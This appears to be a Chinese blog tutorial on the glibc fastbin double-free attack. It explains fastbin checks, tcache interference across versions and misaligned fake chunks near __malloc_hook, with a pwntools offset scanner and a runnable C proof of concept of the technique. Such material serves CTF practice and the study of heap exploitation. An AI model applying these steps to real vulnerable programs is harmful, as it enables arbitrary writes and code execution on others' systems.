news 2026/10/28 10:03:37

02|Fastbin Attack 理论:size 校验与错位 chunk 构造

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
02|Fastbin Attack 理论:size 校验与错位 chunk 构造

02|Fastbin Attack 理论:size 校验与错位 chunk 构造

一句话:fastbin 是单链表,free 时只检查「是不是刚释放的那一个」,所以free(A); free(B); free(A);能造出环;改 fd 就能让 malloc 返回任意地址——前提是目标 +8 处的 size 对得上档位。
核心:free(A); free(B); free(A);→ 改 A 的 fd → 4 次 malloc
适用:所有带 fastbin 的 glibc(2.26+ 要先绕过 tcache)


0. 前提条件

条件

说明

不满足会怎样

尺寸 ≤global_max_fast(默认 0x80)

才是 fastbin 档位

进 smallbin / unsorted

能重复释放同一块

double free 漏洞

没有环,无法 dup

2.26+ 要先填满 tcache

free 会先走 tcache

块根本进不了 fastbin

目标 +8 处 size 可对上档位

malloc 会校验

报malloc(): memory corruption (fast)

目标地址可写

否则使用时崩

只能选"可写且不在乎原值"的地方


1. 基础规则

1.1 Chunk 是什么

malloc(0x60)拿到的不是 0x60 字节,而是一个chunk:

+0x00 prev_size 前一块大小(前块空闲时才有意义) +0x08 size 本块大小 + 3 个标志位(bit0 = PREV_INUSE) +0x10 fd ← 空闲时:指向链表中的下一个空闲 chunk +0x18 bk +0x20 ... 用户数据

关键:malloc返回的是chunk + 0x10,不是 chunk 起始。

这一点在伪造 chunk 时至关重要——写 fd 要写「chunk 起始地址」,而拿到手的指针是「chunk+0x10」。

1.2 Fastbin 是什么

小块内存频繁申请释放时,glibc 不会立刻还给系统,而是扔进fastbin。

两条铁律:

  • 单链表:fastbinsY[idx]指向链表头,每块的 fd 指向下一个。
  • LIFO:后释放的排在前面。
free(A) → fastbin: A -> NULL free(B) → fastbin: B -> A -> NULL malloc() → 返回 B,fastbin: A -> NULL

1.3 尺寸怎么分档

#define fastbin_index(sz) ((((unsigned int) (sz)) >> 4) - 2)

请求

chunk 大小

index

0x10 ~ 0x18

0x20

0

0x20 ~ 0x28

0x30

1

...

...

...

0x58 ~ 0x60

0x70

5

0x68 ~ 0x78

0x80

6

默认global_max_fast = 0x80,超过就进 smallbin / unsorted bin。


2. 漏洞:防呆设计只防"连着两次"

glibc 在_int_free里对 fastbin 有个很简陋的检查:

if (__builtin_expect (old == p, 0)) /* old = 当前链表头 */ malloc_printerr ("double free or corruption (fasttop)");

它只比较「这次的块」和「当前链表头」是不是同一个。

所以:

free(A); free(A); → 报错(fasttop),因为 A 就是当前头 free(A); free(B); free(A); → 通过 第二次 free(A) 时,头是 B,A != B

这就是 fastbin dup(double free)的入口。


3. Fastbin Dup 五步

前提:先申请 A、B、C 三块同尺寸(C 用于防止与 top 合并)。

第 1 步:造环

free(A) → A -> NULL free(B) → B -> A -> NULL free(A) → A -> B -> A -> B -> ... ← 形成环

此时fastbin[idx] = A,A->fd = B,B->fd = A。

第 2 步:第一次 malloc,拿到 A 并改 fd

malloc() → 返回 A,fastbin 头变成 B

现在我们拥有 A 的写权限,把 A 的前 8 字节(就是 fd 的位置)改成目标 chunk 地址:

B -> A -> Target ↑ 我们改的(A 已分配,但环里还挂着 A)

第 3 步:第二次 malloc,消耗 B

malloc() → 返回 B,fastbin 头变成 A

第 4 步:第三次 malloc,再拿到 A

malloc() → 返回 A,fastbin 头变成 Target

注意:A 被返回了两次——这是 dup 的直接后果,也是为什么必须free(A)两次。

第 5 步:第四次 malloc,拿到 Target

malloc() → 返回 Target + 0x10(chunk 转 user 指针)

到这里,你拿到了一块不在堆上的内存的写权限。


4. 最后一道门槛:size 检查

malloc 从 fastbin 取块之前,会校验目标 chunk 的 size:

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) malloc_printerr ("malloc(): memory corruption (fast)");

翻译:victim->size必须落在和你请求同一个 index的范围内。

怎么绕过:错位伪造

目标地址附近往往天然存在一个"看起来像 size"的字节。

以__malloc_hook为例:

__malloc_hook - 0x23 ← 伪 chunk 起点 +0x08 ← 这一处的值低字节天然是 0x7f chunksize(0x7f) & ~0xf = 0x70 fastbin_index(0x70) = 5 ← 和请求 0x60 同一档 ✅

于是:

malloc(0x60) 返回 (__malloc_hook - 0x23) + 0x10 = __malloc_hook - 0x13

从hook-0x13往后写 0x13 字节的填充,正好覆盖到__malloc_hook。

怎么找这种位置

不要背-0x23,自己扫:

from pwn import ELF libc = ELF('./libc.so.6', checksec=False) base = libc.sym['__malloc_hook'] for off in range(0, 0x400): p = base - off sz = u64(libc.read(p + 8, 8)) & 0xffffffffffff if (sz & 0xf) == 0 and 0x70 <= sz <= 0x7f: print(hex(p), hex(sz)) # 找到伪 chunk 起点

不同 libc 版本,-0x23不一定成立,必须自己扫。


5. 2.26+ 的干扰:tcache 会先把块截走

这是最容易踩的坑。

glibc 2.26 起,free的第一步是进 tcache,只有 tcache 对应档位满了(默认 7 个)才轮到 fastbin。

/* _int_free 开头(2.26+) */ if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) { /* 放进 tcache,直接 return —— 连 fastbin 都碰不到 */ }

所以在 2.26+ 上做 fastbin attack,必须先:

① 申请 8 个同尺寸的块 ② free 掉其中 7 个(填满 tcache) ③ 第 8 个 free 时才会进 fastbin

或者干脆改用 tcache poisoning(更简单,见下一讲)。


6. 完整例子(改到能跑)

目标:让malloc返回一个栈上的数组地址。

6.1 关键:fd 要指向 chunk 起点,不是 user 指针

fake_chunk +0x00 prev_size +0x08 size = 0x71 ← 骗过 size 检查 +0x10 用户数据 ← malloc 返回这里

所以fd要写fake_chunk,而比较时要比fake_chunk + 0x10。

6.2 攻击代码

#include <stdio.h> #include <stdlib.h> unsigned char area[0x100] __attribute__((aligned(16))); int main(void) { /* ---------- 第 0 步:伪造一个 chunk ---------- */ void *fake_chunk = area + 0x40; /* 伪 chunk 起点 */ *(unsigned long long *)((char *)fake_chunk + 0x08) = 0x71; /* size */ void *want = (char *)fake_chunk + 0x10; /* malloc 会返回这里 */ printf("fake_chunk = %p\n", fake_chunk); printf("want (returned) = %p\n", want); /* ---------- 前提:三块 A/B/C ---------- */ void *A = malloc(0x60); void *B = malloc(0x60); void *C = malloc(0x60); /* 防止 A/B 与 top 合并 */ /* ---------- 第 1 步:造环 ---------- */ free(A); free(B); free(A); /* dup:头是 B,与 A 不同 → 通过 */ /* fastbin: A -> B -> A */ /* ---------- 第 2 步:拿 A,改 fd ---------- */ void *a2 = malloc(0x60); /* 返回 A,头变 B */ *(unsigned long long *)a2 = (unsigned long long)fake_chunk; /* fastbin: B -> A -> fake_chunk */ /* ---------- 第 3、4 步:取 B、再取 A ---------- */ malloc(0x60); /* 返回 B,头变 A */ malloc(0x60); /* 返回 A,头变 fake_chunk */ /* ---------- 第 5 步:拿到目标 ---------- */ void *hacked = malloc(0x60); /* 返回 fake_chunk + 0x10 */ printf("hacked = %p\n", hacked); if (hacked == want) puts("[+] fastbin dup 成功"); else puts("[-] 偏移算错了"); return 0; }

编译运行:

gcc -o demo demo.c -no-pie ./ld-2.27.so --library-path . ./demo

预期:

[+] fastbin dup 成功

⚠️在 2.27 上跑会失败——因为块都进了 tcache。要跑通需要先填满 tcache,或改用 2.23。
这也正好说明第 5 节的重要性。


7. 真实落点:__malloc_hook

真实题目里,目标通常选__malloc_hook:

项

值

伪 chunk 起点

__malloc_hook - 0x23

该处 +8 的值

0x7f→ chunksize 0x70 → index 5

malloc 返回

__malloc_hook - 0x13

写入偏移

0x13 字节填充 + 8 字节目标地址

写进去什么:system地址、one_gadget地址。

下一次 malloc 时,__malloc_hook被执行 → 直接拿 shell。

版本边界:2.34 起__malloc_hook被删除,这条路彻底失效,只能改走_IO_list_all/exit_funcs。


8. 版本边界

glibc

fastbin dup

备注

≤ 2.25

✅

直接可用

2.26 ~ 2.31

⚠️

要先填满 tcache,否则块不进 fastbin

2.32+

⚠️

同上,且__malloc_hook仍在(2.34 才删)

2.34+

⚠️

fastbin 仍可,但 hook 没了 → 换落点


9. 与其他技巧对比

技巧

写入值

值可控

前置条件

fastbin attack

你填的任意值

可

目标 +8 处 size 要匹配档位

tcache poisoning

你填的任意值

可

无 size 校验,更简单

unsorted bin attack

bin 头地址

不可

块要在 unsorted

large bin attack

victim 堆地址

不可

两次插入

一句话:fastbin 比 tcache 多一道 size 校验,所以在 2.27+ 上优先用 tcache。


10. 常见误判

误判

实际

free(A); free(A);就能 dup

会被 fasttop 拦住,要A, B, A

fd 写目标地址就能拿到

fd 要写chunk 起点,拿到的是 chunk+0x10

目标地址随便选

目标 +8 处的 size 必须落在同一 index

2.27 上照抄 2.23 的 exp

tcache 会把块截走

-0x23是通用偏移

每个 libc 版本要自己扫


11. 一句话总结

fastbin 只管「是不是刚释放的那一个」,不管「链表里有没有重复」;改 fd 就能让 malloc 返回任意地址,代价是要伪造一个 size 对得上的假 chunk。


📌 相关阅读

  • 上一篇:《01|Tcache Poisoning 理论:2.27 为什么完全不校验 fd》
  • 下一篇:《03|Unsorted Bin Attack 理论:写入值为什么是 bin 头》
  • 实战配套:《10|Fastbin Attack 实战:错位打 __malloc_hook》(刷题专栏)

全部 exp 与 gdb 脚本:<GitHub 链接>

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/28 10:02:01

Agent、RAG、MCP 与 LLM 工程化落地:2026 技术热词背后的真实问题

1. 从一份日报的选题逻辑说起&#xff1a;为什么这些词值得盯做技术日报这件事&#xff0c;我坚持了快两年。最开始是给自己看的&#xff0c;每天把刷到的 Agent 和 LLM 相关动态丢进一个文档&#xff0c;周末再回头翻。后来发现&#xff0c;真正有价值的不是"今天又出了什…

作者头像 李华
网站建设 2026/10/28 10:00:06

Redis缓存与分布式锁的基础知识点

Redis快的原因 纯内存操作&#xff0c;没有磁盘IO单线程模式&#xff0c;没有多线程的上下文切换IO多路复用&#xff0c;一个单线程监听所有网络连接高效的数据结构 如果Redis是多线程的话 多线程操作共享数据&#xff0c;必须加锁。多个线程同时写同一个key&#xff0c;会出现…

作者头像 李华
网站建设 2026/10/28 9:59:52

git-spice 常见问题排查手册:10个典型错误与故障解决方案清单

【免费下载链接】git-spice Manage stacked Git branches 项目地址&#xff1a; https://gitcode.com/gh_mirrors/gi/git-spice 点击查看 免费下载 git-spice 是一款用于管理 Git 堆叠分支&#xff08;stacked Git branches&#xff09; 的命令行工具&#xff0c;支持分支栈的…

作者头像 李华
网站建设 2026/10/28 9:59:08

大模型 API 与订阅套餐比价指南:从定价规则到成本试算

做一个大模型 API 和订阅套餐的比价目录&#xff0c;这个想法其实一开始挺冲动的。我当时的处境是&#xff1a;项目要控制成本&#xff0c;得从一堆国内大模型厂商里选一个主力 API&#xff0c;结果把各个官网的价格页打开对着看了整整一个下午&#xff0c;越看越头大——有的按…

作者头像 李华
网站建设 2026/10/28 9:56:03

Linux命令从入门到精通:系统管理与运维实战指南

1. Linux命令概述&#xff1a;从入门到精通的系统管理基石作为一位与Linux系统打交道超过15年的老运维&#xff0c;我始终认为命令行是Linux最强大的武器。那些看似晦涩的字符串组合&#xff0c;实则是与计算机对话的最高效方式。记得2008年我第一次接触ls命令时的震撼——原来…

作者头像 李华
网站建设 2026/10/28 9:44:39

校园二手交易小程序源码拆解:微信登录、手机号授权与避坑指南

简介&#xff1a;基于微信小程序的校园二手交易平台源码包&#xff0c;后台采用微信云开发&#xff0c;实现租赁与买断两种交易模式&#xff0c;适合正在学习小程序开发、准备课程设计或毕业设计的同学参考。整套资源共9个文件&#xff0c;其中6个json为项目配置&#xff0c;1个…

作者头像 李华